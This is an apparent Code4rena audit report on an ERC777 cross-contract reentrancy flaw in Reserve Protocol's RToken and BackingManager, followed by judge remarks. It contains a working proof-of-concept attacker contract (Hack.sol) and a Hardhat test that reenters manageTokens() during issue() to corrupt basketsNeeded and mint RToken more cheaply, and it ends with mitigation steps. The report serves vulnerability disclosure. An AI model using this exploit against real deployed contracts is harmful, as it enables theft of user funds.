Reentrancy attack is possible if an ERC777 token is added to a basket or RToken is upgraded to ERC777 token

[code423n4]

Lines of code

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L268-L276
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L791
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L498-L511
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/BackingManager.sol#L105

Vulnerability details

Impact

An attacker can manipulate the issue price of RToken.
An attacker can make BackingManager to sell assets, mint rToken, or execute other operations based on a wrong intermediate state.

Proof of Concept

A similar issue is reported in Solidified - Oct 16 2022.pdf:

Issue#22: RToken.sol (P1): Reentrancy attack possible if token is ever upgraded to ERC777 token
And the commit#4597ac8c solved the issue.

But in reality, the problem is more complex than the report describes.
At least the following two points have not been covered or fixed:

1. When the RToken is upgraded to use the ERC777 standard, the attacker may reenter the protocol through other contracts (like BackingManager) in addition to the RToken itself.
2. Adding any ERC777 token to the basket would cause a reentrancy problem too. It would be more likely to happen and be overlooked.

The main logic of a cross-contract reentrancy attack is:
Call RToken.issue() or RToken.vest() or RToken.redeem() to trigger an ERC777 callback(tokensToSend() or tokensReceived()) through issue - _mint() or issue - safeTransferFrom() or vest - _mint() or redeem - safeTransferFrom() or redeem - _burn()
Then call BackingManager - manageTokens() within the ERC777 callback.
The manageTokens() will cause errors becase it is called in an intermediate state, when RToken's state has been updated but not yet finished transferring all assets to BackingManager.

For example, the following test code shows one of the attack scenarios:

• Call RToken.issue()
• The ERC777 callback - tokensReceived() will be triggered by issue - _mint()
• Within the tokensReceived(), call BackingManager - manageTokens(). Becase it is not fully collateralized now(assets has not been transferred to BackingManager), it will make BackingManager call setBasketsNeeded() to set a smaller RToken.basketsNeeded.
• RToken.issue() return.
• From now on, because RToken.basketsNeeded is wrong, the attacker (or any user) can issue cheaper RToken (with less assets) and sell RToken to earn profit.

Test code:

diff --git a/contracts/Hack.sol b/contracts/Hack.sol
new file mode 100644
index 00000000..07ed0118
--- /dev/null
+++ b/contracts/Hack.sol
@@ -0,0 +1,65 @@
+// SPDX-License-Identifier: BlueOak-1.0.0
+pragma solidity 0.8.9;
+
+import "@openzeppelin/contracts/access/Ownable.sol";
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import "@openzeppelin/contracts-upgradeable/token/ERC777/IERC777RecipientUpgradeable.sol";
+import "./interfaces/IMain.sol";
+import "./interfaces/IRToken.sol";
+import "./interfaces/IBackingManager.sol";
+import "./interfaces/IBasketHandler.sol";
+
+contract Hack is Ownable, IERC777RecipientUpgradeable {
+    IMain public immutable main;
+    IRToken public immutable rToken;
+    IBasketHandler public immutable basketHandler;
+    IBackingManager public immutable backingManager;
+    bool private reenterFlag;
+
+    constructor(IMain _main) {
+        main = _main;
+        rToken = _main.rToken();
+        basketHandler = _main.basketHandler();
+        backingManager = _main.backingManager();
+    }
+
+    function attack(uint192 amount1, uint192 amount2) external onlyOwner {
+        IERC20[] memory erc20s = basketHandler.basketTokens();
+        // Prepare assets
+        for (uint256 i = 0; i < erc20s.length; i++) {
+            IERC20(erc20s[i]).transferFrom(msg.sender, address(this), erc20s[i].balanceOf(msg.sender));
+            IERC20(erc20s[i]).approve(address(rToken), type(uint256).max);
+        }
+
+        // Attack: reentrancy with ERC777
+        reenterFlag = true;
+        rToken.issue(amount1);
+        // Issue after backingManager.manageTokens() and RToken.setBasketNeeded()
+        // The RToken is cheaper now (cost less assets)
+        rToken.issue(amount2);
+
+        // In real attack, the RToken should be sold immediately to earn profit
+        // Refund assets
+        rToken.transfer(msg.sender, rToken.balanceOf(address(this)));
+        for (uint256 i = 0; i < erc20s.length; i++) {
+            IERC20(erc20s[i]).transfer(msg.sender, erc20s[i].balanceOf(address(this)));
+        }
+    }
+
+    function tokensReceived(
+        address operator,
+        address from,
+        address to,
+        uint256 amount,
+        bytes calldata userData,
+        bytes calldata operatorData
+    ) external virtual override {
+        if (reenterFlag) {
+            reenterFlag = false;
+            // BackingManager is NOT fully collateralized in the present intermediate state
+            assert(false == basketHandler.fullyCollateralized());
+            // Call BackingManager to trigger RToken.setBasketsNeeded()
+            backingManager.manageTokens(new IERC20 [](0));
+        }
+    }
+}
diff --git a/contracts/p1/RToken.sol b/contracts/p1/RToken.sol
index 2420c8d6..77a04b28 100644
--- a/contracts/p1/RToken.sol
+++ b/contracts/p1/RToken.sol
@@ -3,6 +3,9 @@ pragma solidity 0.8.9;
 
 // solhint-disable-next-line max-line-length
 import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
+import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
+import "@openzeppelin/contracts-upgradeable/token/ERC777/IERC777RecipientUpgradeable.sol";
+import "@openzeppelin/contracts-upgradeable/token/ERC777/IERC777SenderUpgradeable.sol";
 import "../interfaces/IMain.sol";
 import "../interfaces/IRToken.sol";
 import "../libraries/Fixed.sol";
@@ -825,12 +828,21 @@ contract RTokenP1 is ComponentP1, ERC20PermitUpgradeable, IRToken {
      * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
      * - `from` and `to` are never both zero.
      */
-    function _beforeTokenTransfer(
-        address,
-        address to,
-        uint256
-    ) internal virtual override {
+    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
         require(to != address(this), "RToken transfer to self");
+        // Mock _callTokensToSend of ERC777
+        if (from != address(0) && AddressUpgradeable.isContract(from)) {
+            try IERC777SenderUpgradeable(from).tokensToSend(msg.sender, from, to, amount, new bytes(0), new bytes(0)) {
+            } catch {}
+        }
+    }
+
+    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual override {
+        // Mock _callTokensReceived of ERC777
+        if (to != address(0) && AddressUpgradeable.isContract(to)) {
+            try IERC777RecipientUpgradeable(to).tokensReceived(msg.sender, from, to, amount, new bytes(0), new bytes(0)) {
+            } catch {}
+        }
     }
 
     /// @dev Used in reward claim functions to save on contract size
diff --git a/test/RToken.test.ts b/test/RToken.test.ts
index 311795be..4ff1cd69 100644
--- a/test/RToken.test.ts
+++ b/test/RToken.test.ts
@@ -226,6 +226,57 @@ describe(`RTokenP${IMPLEMENTATION} contract`, () => {
     )
   })
 
+  it.only('Attack: ERC777 Reentrancy', async function () {
+    // test P1 only
+    if (IMPLEMENTATION != Implementation.P1) {
+      return
+    }
+    const rTokenP1 = <RTokenP1>await ethers.getContractAt('RTokenP1', rToken.address)
+    const [user, attacker] = [addr1, addr2]
+
+    // Issuance is fine at first
+    await Promise.all(tokens.map((t) => t.connect(user).approve(rTokenP1.address, MAX_UINT256)))
+    await rTokenP1.connect(user)['issue(uint256)'](bn('2000e18'))
+
+    expect(await rTokenP1.balanceOf(user.address)).to.eq(bn('2000e18'))
+    // The basketsNeeded is correct before the attack
+    expect(await rTokenP1.basketsNeeded()).to.eq(await basketHandler.basketsHeldBy(backingManager.address))
+
+    // Record the costs of issuing 2000 RToken
+    const costs2000 = []
+    for (let t of tokens) {
+      costs2000.push(initialBal.sub(await t.balanceOf(user.address)))
+    }
+
+    // Deploy the Hack contract for attack
+     const hack = await (await ethers.getContractFactory('Hack')).connect(attacker).deploy(main.address)
+     await hack.deployed()
+     await Promise.all(tokens.map((t) => t.connect(attacker).approve(hack.address, MAX_UINT256)))
+
+     // Attack!
+     await hack.connect(attacker).attack(bn('2000e18'), bn('4000e18'))
+     // The attacker issued 6000 RToken
+    expect(await rTokenP1.balanceOf(attacker.address)).to.eq(bn('6000e18'))
+
+    // Record the costs of issuing 6000 RToken
+    const costs6000 = []
+    for (let t of tokens) {
+      costs6000.push(initialBal.sub(await t.balanceOf(attacker.address)))
+    }
+
+    // The hacker issued RToken more cheaply
+    for (let i = 0; i < tokens.length; i++) {
+      expect(costs6000[i]).to.be.lt(costs2000[i].mul(3))
+      expect(costs6000[i]).to.be.eq(costs2000[i].mul(2))
+    }
+    // In real attack, the RToken should be sold immediately to earn profit
+
+    // The basketsNeeded is incorrect now because it was modified through setBasketsNeeded() during the attack
+    expect(await rTokenP1.basketsNeeded()).to.lt(await basketHandler.basketsHeldBy(backingManager.address))
+    expect(await rTokenP1.basketsNeeded()).to.eq(bn('4000e18'))
+    expect(await basketHandler.basketsHeldBy(backingManager.address)).to.eq(bn('6000e18'))
+  })
+
   describe('Deployment #fast', () => {
     it('Deployment should setup RToken correctly', async () => {
       expect(await rToken.name()).to.equal('RTKN RToken')

Tools Used

VS Code

Recommended Mitigation Steps

Since it is hard to ensure that ERC777 token will never be added to a basket, it is recommended to improve the code to completely avoid this attack risk:

1. Add ReentrancyGuard to the RToken, and make important methods (issue, vest, redeem, mint, setBasketsNeeded) nonReentrant.
2. Add a flag to RToken to revert functions in other contracts (like BasketHandler.manageTokens()) when RToken is executing issue/vest/redeem.

[c4-judge]

0xean marked the issue as duplicate of #318

[c4-judge]

0xean marked the issue as satisfactory